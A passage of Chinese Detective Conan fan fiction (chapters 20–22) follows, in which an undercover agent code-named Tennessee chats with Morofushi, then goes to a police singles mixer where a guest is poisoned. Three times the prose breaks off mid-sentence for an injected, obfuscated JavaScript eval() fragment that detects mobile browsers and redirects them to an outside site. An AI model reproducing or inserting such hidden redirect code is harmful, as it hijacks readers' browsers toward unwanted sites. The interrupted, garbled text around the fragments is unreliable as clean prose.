所以萩原研二怎么称呼原月见,他都不在意。因为这些称呼单叫姓氏或者直称名字,起到的效果和琴酒叫他名为“田纳西”的代号没有区别,于他而言不过是游戏里的一个游戏昵称,都不是他的真名。日本人区分亲近远疏的称呼,在这一刻也起不到多少作用。 「我不认为我做了有必要让你报恩的事,如果你坚持报恩,那么这场单身联谊就足够了。」——原月见。 原月见不在意萩原研二究竟会怎么想,会不会猜测他想脱单,他向来不在意他人的想法,做事想到什么就做什么。 20.第 20 章 诸伏景光基本上只要没有任务耽搁,每天早上都会准时到达原月见的家里。不过原月见给了他钥匙,不需要敲门就可以直接进屋,因为原月见的作息过于混乱,让对方起来给他开门难如登天。 好在原月见不是完全不通情达理,诸伏景光实在没空的时候,他也能自己解决。 诸伏景光一如既往地来到了原月见的家中,这次原月见却出人意料地一大清早起了床。不对,诸伏景光定睛一看,原月见身着睡衣,脸上没有那种早起的倦意,反而带着一股熬夜过度的亢奋,与其说对方睡醒后起床,不如说是一宿没睡。 “……田纳西,你是不是还没睡?”诸伏景光艰难开口,田纳西这种熬法,一向保持自律的卧底完全不能理解。 短短的这段时间内,诸伏景光都快记不清这是第几次了,不如说直接数田纳西能早起几次来得更为直观方便。 ……怎么办,这熊孩子真的很难管,诸伏景光觉得他的血压有点高,勉强扯出一个有些虚的微笑,死死地盯着原月见。 “绿川,这不重要。”原月见大手一挥,指着摆在沙发上的一堆衣服,一脸兴致勃勃,“今天晚上我要去参加单身联谊,你看我穿什么好?” 单身联谊?诸伏景光差点以为他听错了,不然怎么从田纳西嘴里听到这个词?诸伏景光看了看那些衣服,又看了原月见那一脸今晚吃席的表情,越看违和感就越重。 诸伏景光:“……左边第3件,第5件和右边第1件都适合。不过你为什么忽然想去参加单身联谊?谁介绍给你的?有人邀请你吗?” 虽然说起来很冒犯,但诸伏景光认为田纳西就不是有朋友的类型。看看琴酒,再看看伏特加,加上田纳西上一任的搭档宾加,都对田纳西充满了个人偏见。好吧,其实说偏见是诸伏景光美化一番的说法,其中十有七八算是接近真实的。 至于田纳西在组织之外有没有什么朋友,根据这段时间诸伏景光对他的观察,知道他算是个家里蹲,虽然不能说是完全拒绝和外界交交流,保持着一定的出门频率,但也不是热衷于和外界交流的类型。平时基本就没有见过有熟人上门来找田纳西,如果硬要说有熟人,那也只有那些因为案件来找田纳西的警察。 ……坏了,诸伏景光这么一想都有点同情田纳西了。怎么有人离群到这种地步,再联想之前田纳西说的那番收尸言论,本来因为田纳西的操作而一直耿耿于怀的诸伏景光忽然觉得心情平和了很多,他又能以正常且宽容的态度来面对田纳西了。 “一个警察介绍我去参加的。”原月见实话实说,不觉得这有什么好隐瞒的,哪怕面对的是一个组织成员,就算把这个上报给琴酒,他也能理直气壮,毫不心虚。 诸伏景光:“……” 怎么还真是警察啊?这孩子真的没有几个朋友了吗?等等,警察? 心情陡然紧张起来的诸伏景光,又想了想之前田纳西那堪称离谱的事故体质,霉运缠身,又觉得这个紧张有些大惊小怪,情绪随即平稳了下来。 田纳西认识警察很正常,虽然是组织成员,但田纳西是个例外,他不应该这么一惊一乍,要知道这可是田纳西。 “没想到你在警察里还有这样的熟人。”诸伏景光半是实话半是想要打探情报。 虽然诸伏景光不觉得田纳西和警察很熟是有所图谋,田纳西一看就不像那种会兢兢业业刷业绩的人,未必有闲心给组织出多余的力。但以防万一,多了解点不是坏事。 “不,我和他不熟,只见过一次面。” 见过一次面这个警察就邀请田纳西去参加单身联谊了吗?诸伏景光有些震撼,虽说有一些参加联谊的人也是凑数,未必需要很熟就能去。但见过一面就邀请到了田纳西的头上,这是什么警察啊,这么能挑人? “我记得是叫萩原研二,看起来就是那种很讨女孩子喜欢的类型。看他那气质和长相,不去做牛郎有些可惜了,如果哪天他想走捷径,有大把的富婆愿意给他送钱。”原月见忍不住感叹道。 诸伏景光面上风平浪静,心里却波涛汹涌。 萩原你在干什么啊萩原!怎么随随便便就碰到了田纳西,还邀请对方去参加单身联谊?还有萩原你到底都干了什么,给田纳西留下这种印象! 这次诸伏景光真的有点崩溃,他本来以为自家同期在岗位上发光发热,结果现在听到田纳西提起萩原研二,话里的内容里里外外都有点不对劲。一时间竟然产生自家同期带坏未成年的挫败感,等等,一想到这里,诸伏景光勉强开口问道:“……田纳西,请问你的贵庚是多少?” 虽然知道田纳西不喜欢敬语,但此时此刻诸伏景光顾不了这么多了,他只想知道答案。 原月见奇怪地看了他一眼,然后回答:“20岁。” 诸伏景光松了一口气,满20岁了,好歹已经成年了。这年龄比他们还要小四岁,却已经是组织的代号成员了,想到这里,诸伏景光心情有些复杂。 至于原月见给出的年龄,这当然是假的,来到这个世界的时候他18岁,如今待了两年,如今20岁,但是他身上的时间却跟定格了一样,没有发生变化。 不过原月见用系统造假的资料去上警校,用的年龄22岁,在警校进行了半年的培训,一结束培训就被安排去卧底。不过没等公安再给他特殊培训相关的知识,他就顺利的直接加入了组织,速度之快让他的上司都不免愕然。 原月见知道他的长相显得过于年轻,也不想因为这一点在卧底的时候遇到麻烦,而且适当把年龄报的小点也可以减少被怀疑是卧底的可能性,让公安弄假身份时干脆按着实际的年龄报了,也就是19岁,加入组织一年如今20岁,对诸伏景光说的也是实际的年龄。 “你为什么会想到牛郎?”诸伏景光实在忍不住询问,如果不知道这点他会想得更多。 “这不是日本的一大特色吗?我有些好奇就去了解过。” 这怎么就成日本的特色了?诸伏景光满心想要开口否定,但作为组织成员,按人设而言他不该为这种事和田纳西发生争执,只好继续说道:“你怎么了解的?我有些好奇,要去的话也不该是去牛郎店吧?” 诸伏景光无论怎么看,都不觉得田纳西像是喜欢男人的类型,但如果猜测田纳西去牛郎店是为了做牛郎,又避免过于离谱。 而且萩原到底是怎么和牛郎扯上关系的,为什么田纳西会这么想,诸伏景光真的很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14971590|159915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想了解事实。 “因为有一段时间很缺钱,就想过牛郎这一行收入怎么样。”原月见不觉得以前的窘迫有什么好隐瞒的,当时他可是仔细思考过来钱快的路子。 来到这个世界身无分文,还一直顶着debuff,原月见为了寻找出路,也是下过一番功夫的。 “而且我也好奇牛郎店是怎么运作的,就专门去了解过。”原月见说得坦坦荡,“不过了解之后,我发现这一行不适合我,所以就没去。” 实际观察之后,原月见觉得这钱有点难挣,并不适合他。他连攻略游戏都玩不了多少,更别提现实中刷富婆的好感度了。 “我没有做这一行的天赋,不过我看那个叫萩原研二的警察就蛮适合的,老天爷赏饭吃,羡慕也羡慕不过来。” 「……萩原研二干了什么得罪你的事,你要在组织成员面前这么形容他?」系统仔细想了又想,都没有想出个所以然来。 「我其实很佩服他,明明能躺着舒舒服服的挣钱,偏偏却要去冒着生命危险辛辛苦苦和炸弹打交道。」原月见对萩原研二的印象并不差。 「佩服也不能这么表现吧?」系统有些怀疑。 「其实我是想看看绿川的反应。」原月见从来不介意和系统说些真心话,毕竟在这个与现实出入不少的世界里,也就系统算是最真实的了。 「听到萩原研二这个名字,绿川的反应太明显了。」简直是明摆的告诉原月见,萩原研二这个人有问题,或者说和萩原研二有关的一些人有问题。 「你这也看出来了?该不会只是找的借口吧?」系统怀疑原月见就是想迫害萩原研二。 原月见莫名其妙,「我是那种闲着没事干的人吗?我和萩原研二又不熟,他也暂时没得罪我的地方。我要是心情真不好,我就逮着琴酒说了,干嘛提一个警察?」 系统将信将疑,「好吧,你说得有道理。」 「我要是没点观察人的本事,早就在你来之前先被干掉了,还能等着你来找我?」原月见为自己正名。 他本来确实想随便说一下萩原研二的名字就算过去了,结果看到绿川反应不对劲,才起了心思,顺口接着编了一段话,不着边际的吐槽了几句,结果真的有鱼上钩了。虽然咬的不紧,这条鱼跑得及时,但这鱼饵毕竟是被碰了。 虽然这些随口的吐槽有点对不起萩原研二,不过原月见觉得对方应该不会在意,说不定还会为能帮他而感到高兴,那点良心的隐隐作痛也很快消失不见。 “田纳西,我认为你不用羡慕他,你的本事普通人轻易也做不到,或许别人羡慕你还来不及。”诸伏景光一半真心一半奉承地说道。 至少伏特加虽然表面上在田纳西不在的时候,动不动就吐槽田纳西,偷偷说几句坏话。可私下里诸伏景光看得真切,那股羡慕嫉妒恨,快要掩饰不住的酸味,老远就能闻到。 就是不知道萩原怎么搭上的田纳西,诸伏景光认为他离开之后有必要好好调查一番,再提醒一下对方,千万别掉了田纳西的坑,也不要透露出他们这两个卧底的情报,免得无意间穿帮。 诸伏景光自然相信他们的这些同期,但就怕在不知道的情况下泄露给敌人底细。 21.第 21 章 对于诸伏景光的奉承,如果换伏特加来说,肯定是明褒暗贬,至少是违心之言,但放在诸伏景光身上,却自带一份真诚的意味。原月见全部照收不误,心情很好地扬起一个微笑,“绿川,你的眼光不错,可惜组织大多数人没有你这份眼力。” 这份回赞,诸伏景光自认担待不起,被田纳西这么一说,他情不自禁地联想到了伏特加和琴酒,忽然觉得这句称赞有点沉重。但没等诸伏景光内心百味陈杂多久,他一眼就看到原月见挑好了一身衣服,是很学生式的休闲运动服,还是白色为主,黑色为辅,和他之前挑得偏向于上班族显得成熟些的黑灰色系的正装风格相差甚远,诸伏景光不免一阵心累,感情把他挑的衣服当做排除项啊。 一时之间,诸伏景光都摸不透田纳西是故意的,还是真心不喜欢他选的衣服,凭借自己的审美挑了别的。 但这点不是最重要的,诸伏景光忍了又忍,还是没忍住:“田纳西,你没必要往口袋里塞这么多东西吧?这些也不适合带去参加联谊。” 看清原月见往口袋里塞得什么后,诸伏景光很难不开口。折叠刀、□□、几个疑似撬锁的小道具、两张电话卡、一个变声器……一一认出后,诸伏景光都有些震惊这些口袋居然都塞进去了,难不成田纳西就是为了这个才特意挑的这身衣服吗? “绿川,男孩子出门在外也要保护好自己的安全。”原月见苦口婆心,满脸劝诫,“你看看东京的不法分子多如牛毛,再看看这不断上升的犯罪率,你手无寸铁出门能放心吗?” 诸伏景光面无表情,所以你选这身衣服也是为了有事发生的时候方便随时跑路吗? 组织里关于田纳西有被害妄想症的传言看来不是无稽之谈,空穴来风。但诸伏景光又想了想这段时间内田纳西遭遇的案件,还有田纳西那宛若叛逆期少年的糟心作风,心肠终究还是软了些。 田纳西的年纪不大,加入组织也有一段时间了,虽然诸伏景光还不确定多久,但能到今天这种让伏特加退避三舍,琴酒不得不忍耐的地位,想必时间也不短了。一个很可能未成年,年纪不大的孩子加入组织,想来也是没有其他的出路,以至于年纪轻轻就进入非法组织谋生,无法真正生活在阳光之下。 这么频繁遭遇案件,会产生对人心失望,拒绝和他人深入交往的想法并不奇怪。这么一套自我说服下来,诸伏景光很难再抱有一开始在组织听到田纳西这个代号时的想法了。 “你说得对,这次出门注意安全,千万不要被人骗了。”说到这里,诸伏景光不免忧心忡忡,虽然他不觉得田纳西真的有那么好骗,可这孩子长得显年轻,一点也不像踏入社会的上班族,行事风格有些任性,看起来对感情涉世未深,万一被诈骗集团盯上了怎么办? 一想到这里,诸伏景光的思绪卡顿了一下,他想起最开始在警署见到田纳西时对方说的那番话了,“智者不坠爱河,远离恋爱保平安”……或许他的担心有些多余。 “难道我长了一副很容易被骗的长相吗?”原月见微微蹙眉,细细打量诸伏景光的面部表情变化,平心而论,对方有一副不错的长相,放在人群中足以成为百里挑一的那一个。细而长的眉毛,相对圆润而狭长的猫眼,虹膜的颜色是很纯净的蓝色,如果去掉了下颌处的胡茬,这副容貌显得秀气甚至有些年轻。如今这双蓝色眼睛里流露的一丝关怀,虽不明显,原月见还不至于理解错误。 原月见忽然生出几分兴趣,金色的眸子如同天上的日轮,如今亮晶晶地盯着诸伏景光,“绿川,如果你剔掉脸上的胡茬,看起来会更年轻。” 不仅如此,原月见还径直走到了诸伏景光的跟前,这让诸伏景光下意识后退了一步,身体快过思想,反应过来后诸伏景光克制了想要继续后退的冲动。 “我可以摸摸你的胡茬吗?绿川。”原月见的手指微微弯曲,蠢蠢欲动地想要试一试。 他没有长过胡子,所以有些好奇,想要试试手感。 诸伏景光本想直说不行,你难道没有摸过其他人的吗?可这句话到了嘴边又被咽了下去。 诸伏景光陡然想起他小时候也曾由于好奇,扑到父亲跟前,让父亲用尚未刮干净的胡茬挠痒痒,还伸出自己的手好奇地摸来摸去,并一本正经摆出小大人的样子说:“我以后也会像父亲一样有男子气概。” 于是诸伏景光的语气软了下来,好声好气地说道:“这不合适,田纳西。” 闻言,原月见注视了诸伏景光好一阵,把诸伏景光看得忐忑不安,几乎想着实在不行干脆就顺从田纳西时,原月见才直接转头不去看他,嘟囔道:“不愿意就算了,你表现得好像我要强抢良家妇女一样。” 诸伏景光搞不懂田纳西上哪弄来这些比喻,还能这么脸不红心不跳地直接说出来,还显得其他人有问题似的。但既然田纳西打消了这个想法,诸伏景光一阵庆幸。 “我准备睡了,反正你和他们一样,都不想看到我,那就赶紧走吧。”原月见摆出了赶人的态度,气势冲冲,诸伏景光不好反驳他,又看到少年白皙的脸上隐约的黑眼圈,只好认命般被赶了出去。 诸伏景光回忆刚刚原月见脸上的表情,还有这段对话……糟糕,这股无处安放的负罪感是怎么回事,怎么有种欺负了后辈的感觉。 认真思索后,诸伏景光只能得出结论,那就是田纳西不摆出趾高气扬的架势,不利用特权进行职场霸凌的时候真的很有迷惑性,心情好容易说话时像极了邻居家的弟弟,和人相处一点也不见外,几乎不像是个不爱出门的家里蹲,不知道的人看到还会以为彼此之间关系很熟,而不是感情格外塑料的上下级关系。 系统看着明明说了要去睡觉,结果躺在床上迟迟不合眼的原月见,有些纳闷,「你不是说要去睡觉吗?怎么还不睡。」 “绿川看起来真像个好人啊。” 系统一时之间拿不准原月见说的是好话还是坏话。 按人设而言,诸伏景光本质上是个卧底,表面上却是非法组织的成员。如果说是好人,站在组织成员的立场上,这反而更像是在怀疑对方有问题。但如果站在普世意义上的角度,说是个好人也确实称得上是一种夸赞。 于是系统谨慎回答,「绿川唯毕竟是组织里的人,你是个卧底,不要太信任他。」 “你这么说,好像你很了解绿川。” 系统的心猛地一紧,努力表现出镇定自若的样子。「难道不是吗?难不成他也是卧底?」 “谁知道呢。”原月见挑了挑眉,“成为警察的人未必全是好人,加入组织的也未必全是坏人。人的心可没有那么简单就能做出定义,就连杀人犯都能展现出常人的共情心和普世价值观。就算说他是个好人,也不一定能代表什么。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14975629|159915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 「啊,是吗?我看你好像还挺喜欢他的。」系统指的这份喜欢是原月见像是找到了一个有趣的玩具好玩的那种喜欢。 “不过他刚刚表现得很像我的哥哥。” 系统有些纳闷,「我记得你不是父母双亡,还是独生子吗?哪来的哥哥?表哥,堂哥?” 系统有调查过原月见的资料,自认足够了解。 “我确实没有兄弟,也不羡慕其他有兄弟姐妹的家庭。”原月见平静地回答。 他已经拆开诸伏景光给他带来的早餐,这次是三明治。 三明治被保鲜膜包裹好,还残留着温热的温度。本来三明治里边夹着的蔬菜、火腿和鸡蛋还好好叠在一起,原月见拿起筷子把这些又一一挑了出来。 系统见状说,「你都多大的年纪了?不要玩食物啊。」 “嗯,刚刚有些走神。”原月见停止了手上的动作,没有把三明治恢复原样,而是单独先吃鸡蛋,再吃火腿和蔬菜,最后把面包片蘸着牛奶吃掉了。 「你这样吃品尝不到三明治原来的味道。」系统客观地说道。 好好的整个三明治不吃,非要像肢解似的把零件一个个挑出来吃,系统觉得原月见还是太闲了。它亲眼见到原月见熬了多久,都这样了还不睡,从这摆弄食物慢慢吃。 “我知道,但就是想试一试,反正我也没有什么事可做。”原月见慢吞吞地说,“我只是不太喜欢绿川的表现。” 「我看你说的是反话吧,你之前不还口口声声说你喜欢绿川吗?还是当着人家的面这样说。」系统自认记忆力良好,不需要调出储存记录,也能自信开口。 “我还口口声声说喜欢琴酒呢,这你信吗?你不信,所以同样,我也不喜欢绿川。”原月见立刻回答。 系统不搭话,只觉得原月见在嘴硬,催促他赶紧睡觉,免得万一哪一天真的猝死,成为组织的笑柄。 原月见没再勉强自己,他也是真的有点困了,吃完饭洗漱刷牙就直接上床倒头睡着了。 要不是手机定了闹钟,他可能下午根本起不来床。好不容易爬起来,收拾打扮后,确认没有东西忘拿,原月见直接打出租车到了指定的地点。 日本的出租车费要贵不少,不过原月见无所谓,反正钱能找组织报销。 他没有驾照,也不喜欢开车,只喜欢看别人开车,他连车都没有买。 「我看你就是懒得开车。」系统觉得它发现了真相。 “开车那么累,又不能睡觉,不能玩手机,我干嘛要自己开车?反正出租车要打都能打到,打不到我也能蹭别人的车。只要我一个电话打过去,安室他们就可以来接我。”原月见说得义正言辞,没有半点心虚。 系统有些无语,原月见使唤人太熟练了。它又想了想原月见以前的资料,光看资料真看不出来他是会使唤人的性格,系统还以为他会是那种自力更生,不喜欢其他人的帮助的类型呢。 眼看着原月见像是发现新的支线任务似的参加单身联谊,系统很怀疑他能不能坚持完全程,不会中途退场,因为原月见总是容易三分钟热度。 系统甚至怀疑他来只是为了蹭吃蹭喝,自己花钱买的不香,别人请客不需要花钱吃起来更美味。 虽然组织联谊会花钱,但萩原研二肯定不会找原月见要,原月见相当于一分不拿就来蹭一顿饭。 22.第 22 章 联谊的地点是一家居酒屋,不过原月见一进入居酒屋,试图找人时,一个服务员踌躇片刻,然后下定决心走到他的面前。 “不好意思,这位客人,本店不接待未成年的客人,附近还有其他提供餐饮的店铺,您可以去其他的店看看。”服务员脸上带着笑容,只是多了一丝为难的意味。 “如果您已经成年,可以提供相关的证件证明吗?” 日本没有专门的身份证,通常用来证明的证件往往是驾照、住民票或者保险证,不过以上这些原月见要么是没有,要么就是干脆没带。 黑发少年的年纪十分模糊,介于成年和未成年之间,一时让人难以判断。而这家店允许抽烟,未成年如果进入店内消费对于店家还是违法的。 “我已经成年了,这次出来得急,没有带证件。”原月见状似为难地蹙眉,“不过我的朋友已经到了,他是警察,他的同事以前办理过和我相关的案子,知道我已经成年了,这一点他们可以为我证明。” 案子?服务员怀疑他可能是听错了,要不然怎么从一个外表上年纪轻轻的人口中听到这个词。回想刚刚少年的话,服务员忍不住问:“客人,您也是警察吗?” “当然不是。”原月见笑眯眯地一口否定,摊开双手,“我只是个无业游民,在家里躺平,上班这种事太为难我了。” 原月见说得振振有词,服务员充分发挥自身的职业素养,面上保持着得体的微笑,“方便找下您的朋友吗?证明您已成年,十分感谢。” 或许是他们站在居酒屋室内的门口过于显眼,原月见还没来得及说什么,就听到远远一道声音响起,用亲切熟稔的语气唤着他的名字。 “小月见,好久不见了。” 这次原月见没有戴着兜帽和口罩,而是清爽地把脸完全展现,穿着一身休闲运动装,打扮得富有青春朝气,说是去参加高中生毕业聚会都毫无违和感。 只需要这一眼,萩原研二就知道原月见和服务员站在门口的原因了,有些哭笑不得。不过萩原研二完全理解,他看到原月见后,也不禁怀疑起对方的年龄,他没记错的话资料上写着对方年满二十岁,而且已经工作了,结果乍一看还有着学生的稚气感,并没有那么成熟,和萩原研二得知英勇制服歹徒的形象略有出入。不过这一点他早有心理准备,在看到裹得严严实实的原月见时,就知道和他最初勾勒的形象并不一样。 不论心中怎样千回百转,萩原研二及时上前解围:“这位是我的朋友,他确实已经成年了,只是外表上显得年轻。这一点我也很羡慕,谁会不喜欢让自己看起来更年轻呢?” 服务员将信将疑,在接过并检查了萩原研二出示的警察证后,总算相信了这点,至少出于绝大部分人的印象,觉得警察不会知法犯法,然后把警察证还给萩原研二,“抱歉,打扰客人们的时间了,本店出于谨慎,不得不这样做,还请海涵。” “没关系,我十分理解,不如说贵店能这么做身为警察很欣慰。”萩原研二客套了两句后,便带着原月见走向他们选定的包厢。 “小月见以前参加过联谊吗?”萩原研二问道。 “没有。”原月见十分诚实,“我没有谈过恋爱,也没尝试过联谊。” 他倒是不在意这么说会不会被一些人认为很“逊”,坦然的回答。 “那应该是小月见以前对恋爱不感兴趣吧?如果想要脱单,小月见应该很容易摆脱单身。”萩原研二说得真心实意,并非恭维。他觉得小月见属于那种有着青春朝气的可爱风格,不少女生还是喜欢这种类型的。 “你看起来比我更容易脱单。”原月见纳闷地看了一眼萩原研二,“你参加联谊,该不会是专门当红娘给大家牵线,助人为乐当结缘之神吧?” 萩原研二的笑容僵了一下,小月见说话好直白,以至于明明内容看起来很客观,说出来的效果却很扎人。萩原研二很快恢复了镇静,若无其事地说道:“恋爱这种事讲求缘分,看来我的缘分还没到,所以还要等等。” 原月见不置可否,在他们进入包厢之前忽然说道:“为什么非要找我不可,难道就是为了所谓的报恩?” 闻言萩原研二略感讶异,但还是诚实回答:“如果什么都不做,就这样过去的话,总感觉不安心呢。” “如果我不是好人呢?”那双金色灿若日光的眸子没有之前如同棉花糖般的柔软稚气,一反常态如同融化后凝固的金子,并不柔软甚至有些冰冷。 萩原研二愣了一下,然后扬起笑容:“哪有坏人说自己不是好人的?小月见。” “你这是在哄人吧。”原月见无语片刻,不过那抹冷硬的眼神也如雾气般被蒸发消失不见,快得几乎像是错觉。 他倒不是觉得被人轻视,否则也不会那番表现。只是比起来,原月见更习惯于伏特加那种抗拒的表现,而非这种善意的接近。 或许世上会有无缘无故的善意,但原月见认为这些善意更多是为了自我的满足和肯定,像是流入干涸的河床中的水,虽然会带来一时的清凉,但又很快会在日光下消失不见。 打开包厢后里面的人数没有想象中那么多,不过二十多个人,男性基本都是警察。 注意到原月见打量的目光后,萩原研二好心为他解释:“因为是警察,经常会加班,所以很少有时间去接触其他的女孩子。” “警察可真辛苦。”原月见诚恳说道。虽然他之前去念了警校,不过并没有真心打算留下来当警察,这也太为难他了。 即使警察的收入还不错,他也不会为了一些钱而忍辱负重上班,宁可降低自己的生活质量。日本职场前后辈、上下级观念严重,警界的升职也是论资排辈,需要熬资历,职场氛围十分压抑,原月见是受不了半点。去当卧底不过是图开始的那份有趣,要不是收入确实可观,时间支配自由,原月见根本坚持不下去。 “hagi,等你很久了。”黑色卷发的男人嘴上本来咬着香烟,目光触及金发黑眸的少年身上,愣了几秒,然后把目光放在萩原研二身上,“你怎么带着未成年进来?” 往常原月见听到这种话,向来一笑置之。但今天满打满算被这样怀疑了三次,第一次是绿川,第二次是刚刚的服务生,第三次就是今天的卷毛警察。他忽然觉得自己的心胸好像没有那么开阔了,于是抢先开口:“我已经成年了。” 松田阵平明显没有完全相信,黑亮的眼睛锐利十足,“你确定你已经二十岁了?” “当然,我今年二十。”原月见直视松田阵平,没有半点心虚退让的意思。 在他的故乡十八岁就是成年,他说自己成年了完全没问题。就算身体是十八岁,来到这个世界后没有发生过变化,但是生活了两年,怎么就不能算二十岁呢?就算拿测谎仪来测,原月见依旧能说得这么肯定。 松田阵平收到了萩原研二的眼神,出于信任最终选择相信这番话。“好吧,我相信你成年了,但不建议你抽烟喝酒。” 不然松田阵平看到眼前宛若学生的人抽烟喝酒,总会有种难以形容的错位感。 还是出现在单身联谊的场合,感觉对方叫在场所有的人一声哥哥姐姐都毫无违和感。 松田阵平出现在这里不是为了摆脱单身,只是出自于同僚情谊凑个数而已。他对此其实兴致缺缺,听hagi说之前公寓炸弹案里制服犯人的人会来参加,他才勉强提起几分兴致。结果原月见一来,像是走错了片场一样。 “好了,小阵平,小月见只是好奇才来,就算没有想要脱单的意思,让他试试也没有关系。”萩原研二打着圆场,缓和气氛。 闻言,松田阵平本想说你这语气就跟哄人似的,但照顾hagi的面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14980969|159915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,再加上原月见确实算得上友人的救命恩人,硬是把这话又收了回去。 “小月见,这位是我的好友,名字是松田阵平。”萩原研二又向原月见正式介绍道。 「他的性格有点太认真了。」原月见指的是松田阵平,虽然他向来烟酒不沾,哪怕被宾加故意嘲笑过是个长不大的小孩子,连酒都不敢喝,但原月见听之任之,不予反驳,只是在晚上再掐着宾加的休息时间搞任务轰炸。反正原月见知道宾加是个工作狂,和琴酒有的一拼,不会对任务坐视不理,他虽不喜欢卷,但是为了回报宾加的话,他也不是不能认真一下。 「还不是你故意这么穿,还一天天把青春期叛逆少年的人设表现得明明白白,虽然我一直觉得你是本色出演,但这么不收敛,也不能怪人家怀疑你年纪不大是个未成年吧。」系统一度怀疑过原月见是不是表演型人格,前后反差如此之大,一开始把琴酒和宾加都骗了过去,以为他是个正经人,谁知道后面货不对板,还没法一键退货。 「而且你不是喜欢这么表现来占便宜吗?」系统继续说道,就连诸伏景光都对原月见友善了许多,虽然安室透碍于上下级的地位没有和原月见呛声过,基本上都是忍耐退让为主,但系统非常怀疑,一旦安室透取得代号离开原月见,至少会本色流露几分,不会那么顺从原月见。 「不知道为什么,其他人这么想我都无所谓,但松田阵平这么想,我就有种碰到仙人掌被扎了下的感觉。」原月见苦苦思索,试图得到答案,「反正绿川基本上会顺着我,服务生那么想不重要,但是松田阵平,嗯,他大概率不会让着我。」 原月见恍然大悟,「我懂了。」 「你懂了什么?」系统纳闷。 「有种装傻碰到铁板的感觉,如果说严父慈母,绿川是慈母,松田是严父。」 「……这话你敢不敢当着绿川和松田的面说?」系统都不知道该不该同情两个不知情的当事人。 「心里话之所以是心里话,就是因为只在心里想想从来不说出口,这你还不明白吗?不过这种类型有点棘手啊。」原月见内心叹气,不吃他这一套的人琴酒是典型,但他膈应琴酒毫无负罪感,总归琴酒想杀他时杀意可是真真切切。但松田阵平这种虽然相性不是很合得来,但带着好意的人原月见总归只能碰了一鼻子灰后自认认输。 原月见自觉要了一杯柠檬水,没有点酒,不过当柠檬水端到他的跟前时,他迟迟没喝,拿到跟前端详了半天,萩原研二注意到这点后问道:“怎么了,小月见,是不合胃口吗?” “他那是还不想吃。”松田阵平放下手中的酒杯,杯底触碰桌面发出了细微的响声,本来抽着的烟早在原月见进来之后就被他掐灭扔掉了。 “我只是觉得防人之心不可无。”原月见郑重说道,“生命只有一次,万一有人想要毒死我怎么办?虽然我待人亲切,与人为善,路边的流浪狗我见了都会积极投喂。但不怕一万就怕万一,如果有人要是嫉妒我人美有钱,试图投毒,这么中招不就太冤了吗?” 松田阵平听了不免无语,忍不住说道:“哪有这么多人闲着没事干,跑来给你下毒。” 就在这时,隔壁本来相谈甚欢的一对男女中,女方忽然脸色突变,姣好的面容被痛苦折磨,周围的人见状连忙上前,同行的女伴忍不住叫道:“慧子,你怎么了?有没有懂急救的人来帮帮忙!” 痛苦扼住了栗本慧子的喉咙,周围的不少人都是警察,对于一些急救的常识还是掌握的,松田阵平和萩原研二更是快步上前,到了昏倒的栗本慧子身旁,试图进行抢救。然而毒发的时间太快,没等他们做什么,栗本慧子的生命体征急剧下滑,心跳最终停止。 知道这种出现死人的场面不适合说不合时宜的话,原月见只是在心中和系统交流,幽幽开口,「我就说防人之心不可无吧。」